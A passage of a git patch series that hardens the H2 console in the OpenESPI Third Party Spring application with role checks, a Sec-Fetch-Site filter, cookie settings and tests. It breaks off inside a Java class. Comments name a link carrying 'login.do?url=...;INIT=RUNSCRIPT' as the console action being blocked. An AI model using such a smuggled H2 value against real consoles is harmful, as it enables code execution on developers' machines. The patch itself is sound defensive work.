Subject: [PATCH 4/6] fix(thirdparty): development-only H2 console chain with a
Sec-Fetch-Site check
A second security review showed the console was still reachable with the
developer's session from other pages: SameSite=Lax was set on local
only (dev and h2 enable the console too), and every localhost port is
the same site, so a page on another local port could POST to the
CSRF-exempt console with the admin's cookie.
- H2ConsoleSecurityConfiguration: its own filter chain for
/h2-console/**, loaded only where spring.h2.console.enabled=true (the
local, dev and h2 profiles). It requires ROLE_CUSTODIAN and a
same-origin or user-initiated request (Sec-Fetch-Site: same-origin or
none; SameOriginFetchAuthorizationManager), sends anonymous users to
/login, disables CSRF tokens for the console only, and allows
same-origin frames.
- The main chain now denies /h2-console/** and has no H2 exemptions, so
every other profile keeps the console shut.
- The session cookie is SameSite=Lax on every profile (application.yml),
not Strict: the redirect back from the AS must carry the session.
- Tests: H2ConsoleSecurityTest with the console enabled; FormLoginTest
checks the chain is absent and the console closed when disabled.
Co-Authored-By: Claude Opus 5.5
---
openespi-thirdparty/pom.xml | 4 +-
.../H2ConsoleSecurityConfiguration.java | 78 ++++++++++++++
.../config/SecurityConfiguration.java | 16 ++-
.../SameOriginFetchAuthorizationManager.java | 52 +++++++++
.../src/main/resources/application-local.yml | 10 +-
.../src/main/resources/application.yml | 6 ++
.../config/H2ConsoleSecurityTest.java | 102 ++++++++++++++++++
.../espi/thirdparty/web/FormLoginTest.java | 25 ++---
8 files changed, 261 insertions(+), 32 deletions(-)
create mode 100644 openespi-thirdparty/src/main/java/org/greenbuttonalliance/espi/thirdparty/config/H2ConsoleSecurityConfiguration.java
create mode 100644 openespi-thirdparty/src/main/java/org/greenbuttonalliance/espi/thirdparty/security/SameOriginFetchAuthorizationManager.java
create mode 100644 openespi-thirdparty/src/test/java/org/greenbuttonalliance/espi/thirdparty/config/H2ConsoleSecurityTest.java
diff --git a/openespi-thirdparty/pom.xml b/openespi-thirdparty/pom.xml
index fed30ecf..18d267ee 100644
--- a/openespi-thirdparty/pom.xml
+++ b/openespi-thirdparty/pom.xml
@@ -200,8 +200,8 @@
runtime
+ where spring.h2.console.enabled=true (local, dev, h2 profiles); H2ConsoleSecurityConfiguration
+ limits it to a signed-in TP administrator, and web-allow-others: false limits it to localhost. -->
org.springframework.bootspring-boot-h2console
diff --git a/openespi-thirdparty/src/main/java/org/greenbuttonalliance/espi/thirdparty/config/H2ConsoleSecurityConfiguration.java b/openespi-thirdparty/src/main/java/org/greenbuttonalliance/espi/thirdparty/config/H2ConsoleSecurityConfiguration.java
new file mode 100644
index 00000000..11648bc3
--- /dev/null
+++ b/openespi-thirdparty/src/main/java/org/greenbuttonalliance/espi/thirdparty/config/H2ConsoleSecurityConfiguration.java
@@ -0,0 +1,78 @@
+/*
+ *
+ * Copyright (c) 2025-2026 Green Button Alliance, Inc.
+ *
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package org.greenbuttonalliance.espi.thirdparty.config;
+
+import org.greenbuttonalliance.espi.thirdparty.security.SameOriginFetchAuthorizationManager;
+import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty;
+import org.springframework.context.annotation.Bean;
+import org.springframework.context.annotation.Configuration;
+import org.springframework.core.annotation.Order;
+import org.springframework.security.authorization.AuthorityAuthorizationManager;
+import org.springframework.security.authorization.AuthorizationManagers;
+import org.springframework.security.config.annotation.web.builders.HttpSecurity;
+import org.springframework.security.config.annotation.web.configurers.AbstractHttpConfigurer;
+import org.springframework.security.config.annotation.web.configurers.HeadersConfigurer;
+import org.springframework.security.web.SecurityFilterChain;
+import org.springframework.security.web.authentication.LoginUrlAuthenticationEntryPoint;
+
+/**
+ * Security for the H2 web console, a development-only diagnostic tool. Loaded only where the
+ * console is enabled ({@code spring.h2.console.enabled=true}: the {@code local}, {@code dev} and
+ * {@code h2} profiles). Everywhere else this configuration does not exist and the main chain in
+ * {@link SecurityConfiguration} denies {@code /h2-console/**}.
+ *
+ *
The console runs arbitrary SQL, and H2's {@code CREATE ALIAS} runs Java code. Its own forms
+ * carry no CSRF token, so CSRF tokens are off for this chain and it is guarded instead by:
+ *
+ *
H2 itself answering localhost only ({@code web-allow-others: false} on every profile that
+ * enables the console);
+ *
a signed-in TP administrator ({@code ROLE_CUSTODIAN}; the session from the TP's form login
+ * applies here too);
+ *
{@link SameOriginFetchAuthorizationManager}: the browser must report the request as
+ * same-origin or user-initiated, which stops cross-site pages, and pages on other
+ * {@code localhost} ports that {@code SameSite=Lax} cookies do not, from driving the console
+ * with the developer's session.
+ *
+ */
+@Configuration
+@ConditionalOnProperty(name = "spring.h2.console.enabled", havingValue = "true")
+public class H2ConsoleSecurityConfiguration {
+
+ static final String CONSOLE_PATHS = "/h2-console/**";
+
+ /** Ahead of the main chain, which has no request matcher and would otherwise take every request. */
+ @Bean
+ @Order(0)
+ public SecurityFilterChain h2ConsoleSecurityFilterChain(HttpSecurity http) throws Exception {
+ return http
+ .securityMatcher(CONSOLE_PATHS)
+ .authorizeHttpRequests(authz -> authz
+ .anyRequest().access(AuthorizationManagers.allOf(
+ AuthorityAuthorizationManager.hasRole("CUSTODIAN"),
+ new SameOriginFetchAuthorizationManager())))
+ // Not signed in: go to the TP login page; the saved request brings the
+ // administrator back to the console afterwards.
+ .exceptionHandling(e -> e.authenticationEntryPoint(new LoginUrlAuthenticationEntryPoint("/login")))
+ .csrf(AbstractHttpConfigurer::disable)
+ // The console is built from frames on its own origin.
+ .headers(headers -> headers.frameOptions(HeadersConfigurer.FrameOptionsConfig::sameOrigin))
+ .build();
+ }
+}
diff --git a/openespi-thirdparty/src/main/java/org/greenbuttonalliance/espi/thirdparty/config/SecurityConfiguration.java b/openespi-thirdparty/src/main/java/org/greenbuttonalliance/espi/thirdparty/config/SecurityConfiguration.java
index eecddf93..f51f7c7d 100644
--- a/openespi-thirdparty/src/main/java/org/greenbuttonalliance/espi/thirdparty/config/SecurityConfiguration.java
+++ b/openespi-thirdparty/src/main/java/org/greenbuttonalliance/espi/thirdparty/config/SecurityConfiguration.java
@@ -89,12 +89,10 @@ public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
// OAuth access token. (The Third Party, as an OAuth client, presents its access token
// only when it later fetches the source URLs carried in the BatchList.)
.requestMatchers(HttpMethod.POST, "/espi/1_1/Notification").permitAll()
- // H2 console (enabled on the local, dev and h2 profiles), for developer diagnostics.
- // It runs arbitrary SQL, and H2's CREATE ALIAS runs Java code, so it is guarded twice:
- // H2 itself answers localhost only (web-allow-others: false on every profile that
- // enables it), and a signed-in TP administrator is required, so a cross-site page in
- // the developer's browser cannot drive it without their session cookie (SameSite=Lax).
- .requestMatchers("/h2-console/**").hasRole("CUSTODIAN")
+ // H2 console: closed here. Where the console is enabled (spring.h2.console.enabled,
+ // development profiles only), H2ConsoleSecurityConfiguration's chain handles
+ // /h2-console/** ahead of this one; everywhere else this rule keeps it shut.
+ .requestMatchers("/h2-console/**").denyAll()
.anyRequest().authenticated()
)
.formLogin(form -> form
@@ -133,11 +131,9 @@ public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
.cors(cors -> cors.configurationSource(corsConfigurationSource()))
// CSRF on for the browser UI (Thymeleaf th:action adds the token to every form, including
// login and logout). Exempt: the DC's server-to-server Notification POST, which carries no
- // session or token, and the H2 console, whose own forms carry no CSRF token (guarded by
- // the localhost-only and administrator rules above instead).
+ // session or token.
.csrf(csrf -> csrf.ignoringRequestMatchers(
- PathPatternRequestMatcher.withDefaults().matcher(HttpMethod.POST, "/espi/1_1/Notification"),
- PathPatternRequestMatcher.withDefaults().matcher("/h2-console/**")));
+ PathPatternRequestMatcher.withDefaults().matcher(HttpMethod.POST, "/espi/1_1/Notification")));
return http.build();
}
diff --git a/openespi-thirdparty/src/main/java/org/greenbuttonalliance/espi/thirdparty/security/SameOriginFetchAuthorizationManager.java b/openespi-thirdparty/src/main/java/org/greenbuttonalliance/espi/thirdparty/security/SameOriginFetchAuthorizationManager.java
new file mode 100644
index 00000000..8b0052ac
--- /dev/null
+++ b/openespi-thirdparty/src/main/java/org/greenbuttonalliance/espi/thirdparty/security/SameOriginFetchAuthorizationManager.java
@@ -0,0 +1,52 @@
+/*
+ *
+ * Copyright (c) 2025-2026 Green Button Alliance, Inc.
+ *
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package org.greenbuttonalliance.espi.thirdparty.security;
+
+import org.springframework.security.authorization.AuthorizationDecision;
+import org.springframework.security.authorization.AuthorizationManager;
+import org.springframework.security.authorization.AuthorizationResult;
+import org.springframework.security.core.Authentication;
+import org.springframework.security.web.access.intercept.RequestAuthorizationContext;
+
+import java.util.function.Supplier;
+
+/**
+ * Fetch Metadata resource-isolation check: allows a request only when the browser reports that it
+ * came from this origin ({@code Sec-Fetch-Site: same-origin}) or from the user directly, by typing
+ * the URL or using a bookmark ({@code none}).
+ *
+ *
Used for the H2 console, which is exempt from CSRF tokens because its own forms carry none.
+ * Session cookies alone do not protect it: {@code SameSite=Lax} still sends them on cross-site
+ * top-level GET navigations, and every {@code localhost} port counts as the same site, so a page
+ * served by another local application could otherwise drive the console with the developer's
+ * session. Rejected: {@code cross-site}, {@code same-site} and a missing header (non-browser clients
+ * and browsers too old to send it).
+ */
+public final class SameOriginFetchAuthorizationManager implements AuthorizationManager {
+
+ static final String SEC_FETCH_SITE = "Sec-Fetch-Site";
+
+ @Override
+ public AuthorizationResult authorize(Supplier extends Authentication> authentication,
+ RequestAuthorizationContext context) {
+ String site = context.getRequest().getHeader(SEC_FETCH_SITE);
+ return new AuthorizationDecision("same-origin".equals(site) || "none".equals(site));
+ }
+}
diff --git a/openespi-thirdparty/src/main/resources/application-local.yml b/openespi-thirdparty/src/main/resources/application-local.yml
index c4ffd117..8ba423fe 100644
--- a/openespi-thirdparty/src/main/resources/application-local.yml
+++ b/openespi-thirdparty/src/main/resources/application-local.yml
@@ -35,7 +35,8 @@ spring:
enabled: true
path: /h2-console
settings:
- # Localhost only. The Third Party's security rules also require a signed-in TP administrator.
+ # Localhost only. H2ConsoleSecurityConfiguration also requires a signed-in TP administrator
+ # and a same-origin or user-initiated request (Sec-Fetch-Site).
web-allow-others: false
# Development-specific logging
@@ -53,13 +54,6 @@ logging:
server:
port: 8082
- servlet:
- session:
- cookie:
- # Explicit, not left to browser defaults: cross-site POSTs (e.g. to the CSRF-exempt H2
- # console) carry no session cookie. Lax still sends it on the top-level redirect back from
- # the Authorization Server, so Data Custodian authorization keeps working.
- same-site: lax
espi:
thirdparty:
diff --git a/openespi-thirdparty/src/main/resources/application.yml b/openespi-thirdparty/src/main/resources/application.yml
index 49a4e806..e8a6005d 100644
--- a/openespi-thirdparty/src/main/resources/application.yml
+++ b/openespi-thirdparty/src/main/resources/application.yml
@@ -129,6 +129,12 @@ server:
port: 8082
servlet:
context-path: /ThirdParty
+ session:
+ cookie:
+ # Every profile, not left to browser defaults: cross-site POSTs carry no session cookie.
+ # Not Strict: the redirect back from the Authorization Server (a cross-site top-level GET)
+ # must carry the session, or Data Custodian authorization fails.
+ same-site: lax
encoding:
charset: UTF-8
enabled: true
diff --git a/openespi-thirdparty/src/test/java/org/greenbuttonalliance/espi/thirdparty/config/H2ConsoleSecurityTest.java b/openespi-thirdparty/src/test/java/org/greenbuttonalliance/espi/thirdparty/config/H2ConsoleSecurityTest.java
new file mode 100644
index 00000000..16d52d00
--- /dev/null
+++ b/openespi-thirdparty/src/test/java/org/greenbuttonalliance/espi/thirdparty/config/H2ConsoleSecurityTest.java
@@ -0,0 +1,102 @@
+/*
+ *
+ * Copyright (c) 2025-2026 Green Button Alliance, Inc.
+ *
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package org.greenbuttonalliance.espi.thirdparty.config;
+
+import org.junit.jupiter.api.DisplayName;
+import org.junit.jupiter.api.Test;
+import org.junit.jupiter.params.ParameterizedTest;
+import org.junit.jupiter.params.provider.ValueSource;
+import org.springframework.beans.factory.annotation.Autowired;
+import org.springframework.boot.test.context.SpringBootTest;
+import org.springframework.boot.webmvc.test.autoconfigure.AutoConfigureMockMvc;
+import org.springframework.context.ApplicationContext;
+import org.springframework.test.context.ActiveProfiles;
+import org.springframework.test.web.servlet.MockMvc;
+
+import static org.assertj.core.api.Assertions.assertThat;
+import static org.springframework.security.test.web.servlet.request.SecurityMockMvcRequestPostProcessors.user;
+import static org.springframework.test.web.servlet.request.MockMvcRequestBuilders.get;
+import static org.springframework.test.web.servlet.request.MockMvcRequestBuilders.post;
+import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.header;
+import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.redirectedUrl;
+import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
+
+/**
+ * The H2 console's own security chain, as on the development profiles that enable the console.
+ * MockMvc runs only the DispatcherServlet, not the H2 servlet, so a request that passes security
+ * ends in 404; a request that security rejects ends in 403 (or a redirect to the login page).
+ */
+@SpringBootTest(properties = "spring.h2.console.enabled=true")
+@AutoConfigureMockMvc
+@ActiveProfiles("test")
+class H2ConsoleSecurityTest {
+
+ @Autowired
+ private MockMvc mockMvc;
+
+ @Autowired
+ private ApplicationContext applicationContext;
+
+ @Test
+ @DisplayName("the console's security chain loads where the console is enabled")
+ void chain_loads_when_console_enabled() {
+ assertThat(applicationContext.getBeanNamesForType(H2ConsoleSecurityConfiguration.class)).hasSize(1);
+ }
+
+ @Test
+ @DisplayName("not signed in: redirected to the TP login page")
+ void anonymous_is_sent_to_login() throws Exception {
+ mockMvc.perform(get("/h2-console/").header("Sec-Fetch-Site", "none"))
+ .andExpect(status().is3xxRedirection())
+ .andExpect(redirectedUrl("/login"));
+ }
+
+ @Test
+ @DisplayName("a TP customer is refused")
+ void customer_is_refused() throws Exception {
+ mockMvc.perform(get("/h2-console/").header("Sec-Fetch-Site", "none").with(user("customer").roles("USER")))
+ .andExpect(status().isForbidden());
+ }
+
+ @Test
+ @DisplayName("a TP administrator passes, including the console's tokenless POSTs, and frames are allowed same-origin")
+ void administrator_passes() throws Exception {
+ mockMvc.perform(get("/h2-console/").header("Sec-Fetch-Site", "none").with(user("admin").roles("CUSTODIAN")))
+ .andExpect(status().isNotFound())
+ .andExpect(header().string("X-Frame-Options", "SAMEORIGIN"));
+ mockMvc.perform(post("/h2-console/login.do").header("Sec-Fetch-Site", "same-origin")
+ .with(user("admin").roles("CUSTODIAN")))
+ .andExpect(status().isNotFound());
+ }
+
+ @ParameterizedTest
+ @ValueSource(strings = {"cross-site", "same-site", ""})
+ @DisplayName("an administrator's request sent by a cross-site, other-port or non-browser source is refused")
+ void requests_not_from_the_console_origin_are_refused(String secFetchSite) throws Exception {
+ var getRequest = get("/h2-console/query.do").param("sql", "SELECT 1").with(user("admin").roles("CUSTODIAN"));
+ var postRequest = post("/h2-console/login.do").with(user("admin").roles("CUSTODIAN"));
+ if (!secFetchSite.isEmpty()) {
+ getRequest.header("Sec-Fetch-Site", secFetchSite);
+ postRequest.header("Sec-Fetch-Site", secFetchSite);
+ }
+ mockMvc.perform(getRequest).andExpect(status().isForbidden());
+ mockMvc.perform(postRequest).andExpect(status().isForbidden());
+ }
+}
diff --git a/openespi-thirdparty/src/test/java/org/greenbuttonalliance/espi/thirdparty/web/FormLoginTest.java b/openespi-thirdparty/src/test/java/org/greenbuttonalliance/espi/thirdparty/web/FormLoginTest.java
index c6d5e980..b109afcc 100644
--- a/openespi-thirdparty/src/test/java/org/greenbuttonalliance/espi/thirdparty/web/FormLoginTest.java
+++ b/openespi-thirdparty/src/test/java/org/greenbuttonalliance/espi/thirdparty/web/FormLoginTest.java
@@ -21,7 +21,9 @@
import org.greenbuttonalliance.espi.common.domain.usage.RetailCustomerEntity;
import org.greenbuttonalliance.espi.common.repositories.usage.RetailCustomerRepository;
+import org.greenbuttonalliance.espi.thirdparty.config.H2ConsoleSecurityConfiguration;
import org.greenbuttonalliance.espi.thirdparty.security.RetailCustomerUserDetailsService;
+import org.springframework.context.ApplicationContext;
import org.junit.jupiter.api.AfterEach;
import org.junit.jupiter.api.BeforeEach;
import org.junit.jupiter.api.DisplayName;
@@ -73,6 +75,9 @@ class FormLoginTest {
@MockitoSpyBean
private RetailCustomerUserDetailsService userDetailsService;
+ @Autowired
+ private ApplicationContext applicationContext;
+
@BeforeEach
void createAccounts() {
cleanUp();
@@ -251,19 +256,15 @@ void failed_dc_authorization_has_its_own_message() throws Exception {
}
@Test
- @DisplayName("the H2 console requires a signed-in TP administrator and works without a CSRF token")
- void h2_console_is_administrator_only() throws Exception {
- mockMvc.perform(get("/h2-console/"))
- .andExpect(status().is3xxRedirection())
- .andExpect(redirectedUrl("/login"));
- mockMvc.perform(get("/h2-console/").with(user(CUSTOMER).roles("USER")))
+ @DisplayName("where the H2 console is not enabled, its security chain is absent and the console is closed to everyone")
+ void h2_console_is_closed_where_not_enabled() throws Exception {
+ assertThat(applicationContext.getBeanNamesForType(H2ConsoleSecurityConfiguration.class)).isEmpty();
+
+ mockMvc.perform(get("/h2-console/").header("Sec-Fetch-Site", "none").with(user(ADMIN).roles("CUSTODIAN")))
+ .andExpect(status().isForbidden());
+ mockMvc.perform(post("/h2-console/login.do").header("Sec-Fetch-Site", "same-origin").with(csrf())
+ .with(user(ADMIN).roles("CUSTODIAN")))
.andExpect(status().isForbidden());
- // The console is not enabled on the test profile, so an administrator gets past security
- // to a 404 rather than a 403 - including on its tokenless login POST.
- mockMvc.perform(get("/h2-console/").with(user(ADMIN).roles("CUSTODIAN")))
- .andExpect(status().isNotFound());
- mockMvc.perform(post("/h2-console/login.do").with(user(ADMIN).roles("CUSTODIAN")))
- .andExpect(status().isNotFound());
}
@Test
From 5d3c9af2e3ff0939d4d4dd4267bc0240a6824743 Mon Sep 17 00:00:00 2001
From: "Donald F. Coffin"
Date: Mon, 16 Nov 2026 14:07:48 -0500
Subject: [PATCH 5/6] fix(thirdparty): address the #270 review (console entry
rule, console path, explicit provider)
- Sec-Fetch-Site: none is accepted only for a parameterless GET of the
console's entry page. A link opened from another application (e-mail,
chat, PDF) also arrives as none with the session cookie, and could
otherwise carry an action such as login.do?url=...;INIT=RUNSCRIPT.
Everything after the entry page is same-origin.
- Both chains take the console's path from spring.h2.console.path
instead of hard-coding /h2-console, so the rules follow the console if
the path changes. (Boot's PathRequest.toH2Console() needs
H2ConsoleProperties, which only exists when the console is enabled, so
it cannot serve the main chain.)
- The TP form-login DaoAuthenticationProvider is an explicit bean using
the BCrypt customerPasswordEncoder, instead of the provider Spring
Security infers from exactly one UserDetailsService and one
PasswordEncoder. Still one check per login; not
http.authenticationManager(...), which would drop oauth2Login's
provider.
- H2ConsoleSecurityTest runs on a non-default console path and covers
the entry-page rule.
Co-Authored-By: Claude Opus 5.5
---
.../H2ConsoleSecurityConfiguration.java | 26 +++++---
.../config/SecurityConfiguration.java | 40 ++++++++----
.../SameOriginFetchAuthorizationManager.java | 49 +++++++++++----
.../config/H2ConsoleSecurityTest.java | 61 ++++++++++++++-----
4 files changed, 130 insertions(+), 46 deletions(-)
diff --git a/openespi-thirdparty/src/main/java/org/greenbuttonalliance/espi/thirdparty/config/H2ConsoleSecurityConfiguration.java b/openespi-thirdparty/src/main/java/org/greenbuttonalliance/espi/thirdparty/config/H2ConsoleSecurityConfiguration.java
index 11648bc3..c3ab4de7 100644
--- a/openespi-thirdparty/src/main/java/org/greenbuttonalliance/espi/thirdparty/config/H2ConsoleSecurityConfiguration.java
+++ b/openespi-thirdparty/src/main/java/org/greenbuttonalliance/espi/thirdparty/config/H2ConsoleSecurityConfiguration.java
@@ -20,6 +20,7 @@
package org.greenbuttonalliance.espi.thirdparty.config;
import org.greenbuttonalliance.espi.thirdparty.security.SameOriginFetchAuthorizationManager;
+import org.springframework.beans.factory.annotation.Value;
import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
@@ -31,6 +32,7 @@
import org.springframework.security.config.annotation.web.configurers.HeadersConfigurer;
import org.springframework.security.web.SecurityFilterChain;
import org.springframework.security.web.authentication.LoginUrlAuthenticationEntryPoint;
+import org.springframework.security.web.servlet.util.matcher.PathPatternRequestMatcher;
/**
* Security for the H2 web console, a development-only diagnostic tool. Loaded only where the
@@ -46,27 +48,33 @@
*
a signed-in TP administrator ({@code ROLE_CUSTODIAN}; the session from the TP's form login
* applies here too);
*
{@link SameOriginFetchAuthorizationManager}: the browser must report the request as
- * same-origin or user-initiated, which stops cross-site pages, and pages on other
- * {@code localhost} ports that {@code SameSite=Lax} cookies do not, from driving the console
- * with the developer's session.
+ * same-origin; a user-initiated request ({@code Sec-Fetch-Site: none}, e.g. a bookmark or a
+ * link clicked in another application) may only open the console's entry page. This stops
+ * cross-site pages, pages on other {@code localhost} ports (which {@code SameSite=Lax} cookies
+ * do not stop) and links carrying a console action from driving it with the developer's
+ * session.
*
*/
@Configuration
@ConditionalOnProperty(name = "spring.h2.console.enabled", havingValue = "true")
public class H2ConsoleSecurityConfiguration {
- static final String CONSOLE_PATHS = "/h2-console/**";
-
- /** Ahead of the main chain, which has no request matcher and would otherwise take every request. */
+ /**
+ * Ahead of the main chain, which has no request matcher and would otherwise take every request.
+ * The console's path comes from {@code spring.h2.console.path} (Spring Boot's default
+ * {@code /h2-console}), the same property the console itself is served from, so the rules follow
+ * the console if the path changes.
+ */
@Bean
@Order(0)
- public SecurityFilterChain h2ConsoleSecurityFilterChain(HttpSecurity http) throws Exception {
+ public SecurityFilterChain h2ConsoleSecurityFilterChain(HttpSecurity http,
+ @Value("${spring.h2.console.path:/h2-console}") String path) throws Exception {
return http
- .securityMatcher(CONSOLE_PATHS)
+ .securityMatcher(PathPatternRequestMatcher.withDefaults().matcher(path + "/**"))
.authorizeHttpRequests(authz -> authz
.anyRequest().access(AuthorizationManagers.allOf(
AuthorityAuthorizationManager.hasRole("CUSTODIAN"),
- new SameOriginFetchAuthorizationManager())))
+ new SameOriginFetchAuthorizationManager(path))))
// Not signed in: go to the TP login page; the saved request brings the
// administrator back to the console afterwards.
.exceptionHandling(e -> e.authenticationEntryPoint(new LoginUrlAuthenticationEntryPoint("/login")))
diff --git a/openespi-thirdparty/src/main/java/org/greenbuttonalliance/espi/thirdparty/config/SecurityConfiguration.java b/openespi-thirdparty/src/main/java/org/greenbuttonalliance/espi/thirdparty/config/SecurityConfiguration.java
index f51f7c7d..d6090a33 100644
--- a/openespi-thirdparty/src/main/java/org/greenbuttonalliance/espi/thirdparty/config/SecurityConfiguration.java
+++ b/openespi-thirdparty/src/main/java/org/greenbuttonalliance/espi/thirdparty/config/SecurityConfiguration.java
@@ -19,10 +19,13 @@
package org.greenbuttonalliance.espi.thirdparty.config;
+import org.greenbuttonalliance.espi.thirdparty.security.RetailCustomerUserDetailsService;
import org.greenbuttonalliance.espi.thirdparty.security.ReturnToAuthenticationSuccessHandler;
+import org.springframework.beans.factory.annotation.Value;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.http.HttpMethod;
+import org.springframework.security.authentication.dao.DaoAuthenticationProvider;
import org.springframework.security.config.Customizer;
import org.springframework.security.config.annotation.method.configuration.EnableMethodSecurity;
import org.springframework.security.config.annotation.web.builders.HttpSecurity;
@@ -66,18 +69,31 @@ public PasswordEncoder customerPasswordEncoder() {
return new BCryptPasswordEncoder();
}
+ /**
+ * The one provider for TP form login, declared explicitly: the TP's accounts with the BCrypt
+ * {@link #customerPasswordEncoder()}, whatever other {@code PasswordEncoder} beans exist. As an
+ * {@code AuthenticationProvider} bean it becomes the global (parent) provider, so it must not also
+ * be added to a chain with {@code http.authenticationProvider(...)}: a second copy re-checks every
+ * failed login (two lookups, two BCrypt checks). Not {@code http.authenticationManager(...)}
+ * either: that would drop the provider {@code oauth2Login} registers on the chain.
+ */
+ @Bean
+ public DaoAuthenticationProvider customerAuthenticationProvider(RetailCustomerUserDetailsService userDetailsService) {
+ DaoAuthenticationProvider provider = new DaoAuthenticationProvider(userDetailsService);
+ provider.setPasswordEncoder(customerPasswordEncoder());
+ return provider;
+ }
+
/**
* Two separate steps (#249): a TP customer or administrator first signs in to the Third Party
- * with {@code formLogin} against the TP's own accounts; {@code oauth2Login} is then used from the
- * home page only to authorize the TP at a Data Custodian, never to sign in to the TP.
- *
- *
Form login authenticates through the provider Spring Security builds from the single
- * {@code UserDetailsService} bean ({@code RetailCustomerUserDetailsService}) and the single
- * {@code PasswordEncoder} bean above. Do not also add a {@code DaoAuthenticationProvider} here:
- * a second provider re-checks every failed login (two lookups, two BCrypt checks).
+ * with {@code formLogin} against the TP's own accounts ({@link #customerAuthenticationProvider});
+ * {@code oauth2Login} is then used from the home page only to authorize the TP at a Data
+ * Custodian, never to sign in to the TP.
*/
@Bean
- public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
+ public SecurityFilterChain filterChain(HttpSecurity http,
+ @Value("${spring.h2.console.path:/h2-console}") String h2ConsolePath)
+ throws Exception {
http
.authorizeHttpRequests(authz -> authz
// Public pages (Terms of Service and Usage Policy are linked from the navbar, About from
@@ -89,10 +105,10 @@ public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
// OAuth access token. (The Third Party, as an OAuth client, presents its access token
// only when it later fetches the source URLs carried in the BatchList.)
.requestMatchers(HttpMethod.POST, "/espi/1_1/Notification").permitAll()
- // H2 console: closed here. Where the console is enabled (spring.h2.console.enabled,
- // development profiles only), H2ConsoleSecurityConfiguration's chain handles
- // /h2-console/** ahead of this one; everywhere else this rule keeps it shut.
- .requestMatchers("/h2-console/**").denyAll()
+ // H2 console (spring.h2.console.path): closed here. Where the console is enabled
+ // (spring.h2.console.enabled, development profiles only), H2ConsoleSecurityConfiguration's
+ // chain handles it ahead of this one; everywhere else this rule keeps it shut.
+ .requestMatchers(PathPatternRequestMatcher.withDefaults().matcher(h2ConsolePath + "/**")).denyAll()
.anyRequest().authenticated()
)
.formLogin(form -> form
diff --git a/openespi-thirdparty/src/main/java/org/greenbuttonalliance/espi/thirdparty/security/SameOriginFetchAuthorizationManager.java b/openespi-thirdparty/src/main/java/org/greenbuttonalliance/espi/thirdparty/security/SameOriginFetchAuthorizationManager.java
index 8b0052ac..51918787 100644
--- a/openespi-thirdparty/src/main/java/org/greenbuttonalliance/espi/thirdparty/security/SameOriginFetchAuthorizationManager.java
+++ b/openespi-thirdparty/src/main/java/org/greenbuttonalliance/espi/thirdparty/security/SameOriginFetchAuthorizationManager.java
@@ -19,34 +19,61 @@
package org.greenbuttonalliance.espi.thirdparty.security;
+import jakarta.servlet.http.HttpServletRequest;
+import org.springframework.http.HttpMethod;
import org.springframework.security.authorization.AuthorizationDecision;
import org.springframework.security.authorization.AuthorizationManager;
import org.springframework.security.authorization.AuthorizationResult;
import org.springframework.security.core.Authentication;
import org.springframework.security.web.access.intercept.RequestAuthorizationContext;
+import org.springframework.util.Assert;
import java.util.function.Supplier;
/**
- * Fetch Metadata resource-isolation check: allows a request only when the browser reports that it
- * came from this origin ({@code Sec-Fetch-Site: same-origin}) or from the user directly, by typing
- * the URL or using a bookmark ({@code none}).
+ * Fetch Metadata resource-isolation check for a tool, such as the H2 console, that is exempt from
+ * CSRF tokens. Allows:
+ *
+ *
any request the browser reports as coming from this origin
+ * ({@code Sec-Fetch-Site: same-origin}): the tool's own frames, links and forms;
+ *
a request the user started outside any page ({@code none}: typed URL, bookmark, or a link
+ * clicked in another application) only when it is a {@code GET} of the tool's entry page
+ * ({@code } or {@code /}). A link from an e-mail, chat or PDF can open the
+ * tool but cannot carry an action, such as {@code login.do?url=...;INIT=RUNSCRIPT ...}.
+ *
*
- *
Used for the H2 console, which is exempt from CSRF tokens because its own forms carry none.
- * Session cookies alone do not protect it: {@code SameSite=Lax} still sends them on cross-site
- * top-level GET navigations, and every {@code localhost} port counts as the same site, so a page
- * served by another local application could otherwise drive the console with the developer's
- * session. Rejected: {@code cross-site}, {@code same-site} and a missing header (non-browser clients
- * and browsers too old to send it).
+ *
Rejected: {@code cross-site}; {@code same-site}, which is how a page on another
+ * {@code localhost} port arrives, and which {@code SameSite=Lax} cookies do not stop; and a missing
+ * header (non-browser clients and browsers too old to send it).
*/
public final class SameOriginFetchAuthorizationManager implements AuthorizationManager {
static final String SEC_FETCH_SITE = "Sec-Fetch-Site";
+ private final String basePath;
+
+ /** @param basePath the tool's path within the application, e.g. {@code /h2-console} */
+ public SameOriginFetchAuthorizationManager(String basePath) {
+ Assert.hasText(basePath, "basePath must not be empty");
+ this.basePath = basePath.endsWith("/") ? basePath.substring(0, basePath.length() - 1) : basePath;
+ }
+
@Override
